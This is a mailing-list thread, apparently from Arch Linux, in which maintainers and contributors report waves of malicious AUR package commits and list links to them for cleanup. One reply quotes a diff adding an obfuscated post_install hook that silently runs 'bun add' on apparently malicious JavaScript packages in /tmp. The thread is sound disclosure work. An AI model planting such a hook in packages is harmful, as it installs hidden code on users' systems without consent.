Yeah, similar (but different) string from the earlier series, these are all the same I think: https://aur.archlinux.org/cgit/aur.git/commit/?h=arm-linux-gnueabihf-gdb&id=... https://aur.archlinux.org/cgit/aur.git/commit/?h=lightly-qt&id=969f5f3f9e676... https://aur.archlinux.org/cgit/aur.git/commit/?h=mpdas&id=dc69f5e7b0b4c54658... https://aur.archlinux.org/cgit/aur.git/commit/?h=netdata-git&id=7ef278e7fa6f... https://aur.archlinux.org/cgit/aur.git/commit/?h=obd-auto-doctor&id=16f061df... https://aur.archlinux.org/cgit/aur.git/commit/?h=ocaml-batteries&id=e7ce921a... https://aur.archlinux.org/cgit/aur.git/commit/?h=peksystray&id=d89bab7dfb0d8... https://aur.archlinux.org/cgit/aur.git/commit/?h=perl-gtk2-spell&id=86e72166... https://aur.archlinux.org/cgit/aur.git/commit/?h=psi-plus-l10n-git&id=55ee3d... https://aur.archlinux.org/cgit/aur.git/commit/?h=quazip-qt4&id=331499c820cf2... https://aur.archlinux.org/cgit/aur.git/commit/?h=rakudo-star&id=d4f410af667f... https://aur.archlinux.org/cgit/aur.git/commit/?h=repose-git&id=c1144bc9d3ef1... https://aur.archlinux.org/cgit/aur.git/commit/?h=rochard-hib&id=11b8dd033ec7... https://aur.archlinux.org/cgit/aur.git/commit/?h=shadowgrounds-survivor&id=7... https://aur.archlinux.org/cgit/aur.git/commit/?h=shatter-hib&id=7b1fdd3e7a0a... https://aur.archlinux.org/cgit/aur.git/commit/?h=shortwave-git&id=6cd728c606... https://aur.archlinux.org/cgit/aur.git/commit/?h=sia-daemon&id=8fcb62e67b73a... https://aur.archlinux.org/cgit/aur.git/commit/?h=spaz-hib&id=b16948ac95b63f7... https://aur.archlinux.org/cgit/aur.git/commit/?h=synergy-1.6&id=eb6f075948bb... https://aur.archlinux.org/cgit/aur.git/commit/?h=tmpmail-git&id=d84ff1741fb2... https://aur.archlinux.org/cgit/aur.git/commit/?h=udefrag&id=6d5de72f84ab0d0e... https://aur.archlinux.org/cgit/aur.git/commit/?h=vim-julia-git&id=efb398be88... https://aur.archlinux.org/cgit/aur.git/commit/?h=vim-phpcomplete&id=0f541616... https://aur.archlinux.org/cgit/aur.git/commit/?h=vim-voom&id=9ce5335bbdcbaf2... https://aur.archlinux.org/cgit/aur.git/commit/?h=vmware-vcli&id=90d2035e86a5... https://aur.archlinux.org/cgit/aur.git/commit/?h=vwm&id=a2a725030b0d1293a634... https://aur.archlinux.org/cgit/aur.git/commit/?h=windows2usb&id=4e6a4ca4c311... https://aur.archlinux.org/cgit/aur.git/commit/?h=xpra-git&id=9fe6361b06c7b7a... https://aur.archlinux.org/cgit/aur.git/commit/?h=ynab4&id=0b58bc2760650bb106... On Sun, 14 Jun 2026 at 23:49, Mark Wagie <mark.wagie@proton.me> wrote:
Another one:
https://aur.archlinux.org/cgit/aur.git/commit/?h=shortwave-git&id=6cd728c606...
Sent with Proton Mail secure email.
On Sunday, June 14th, 2026 at 8:23 AM, Nicolas Boichat <nicolas@boichat.ch> wrote:
Maybe not the right term, malicious but harmless? https://aur.archlinux.org/cgit/aur.git/commit/?h=gimp-plugin-beautify&id=d7e... https://aur.archlinux.org/cgit/aur.git/commit/?h=voxatron-hib&id=fe6eb19b2e1... https://aur.archlinux.org/cgit/aur.git/commit/?h=weeplugins-git&id=c425f29b6...
Alright, enough for now, I guess the rest can be easily grepped. (and I see the force pushes here: https://github.com/archlinux/aur/activity?activity_type=force_push thanks progandy!)
On Sun, 14 Jun 2026 at 22:05, Nicolas Boichat <nicolas@boichat.ch> wrote:
Not really malicious per se, but not appropriate either, picked up by my detection bot: https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=gtk2%2bextra&id=424... https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=openspades&id=efbf6... https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=pg_vectorize&id=f2c... https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=unsf-git&id=6d2cb90...
I assume there are more coming, those 4 for now.
On Sun, 14 Jun 2026 at 11:30, Nicolas Boichat <nicolas@boichat.ch> wrote:
Those too -- but I can't see the malicious commits on HEAD so I assume somebody took action already. - https://aur.archlinux.org/cgit/aur.git/commit/?h=gulden-appimage&id=8188e584... - https://aur.archlinux.org/cgit/aur.git/commit/?h=hack-browser-data-git&id=19... - https://aur.archlinux.org/cgit/aur.git/commit/?h=kcmlaptop&id=ff8e6c657a4105...
On Sun, 14 Jun 2026 at 11:21, Nicolas Boichat <nicolas@boichat.ch> wrote:
There's a new wave (detected using my local Gemma E2B model FWIW).
It's a little bit more elaborate: https://aur.archlinux.org/cgit/aur.git/commit/?h=htbrowser-bin&id=462c21877f...
diff --git a/htbrowser-bin-deps.install b/htbrowser-bin-deps.install new file mode 100644 index 000000000000..9806501accad --- /dev/null +++ b/htbrowser-bin-deps.install @@ -0,0 +1,3 @@ +post_install() { + $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 'n'"e"'x'"t""f"'i''l''e''-''j''s' +}
On Fri, 12 Jun 2026 at 01:47, Jonathan Grotelüschen <tippfehlr@archlinux.org> wrote:
Hi everyone,
we’re working hard to reset/delete all malicious commits and ban the accounts.
If you find more malicious packages, please **send them as a reply to this email** to keep them all in one thread.
Thanks!
-- tippfehlr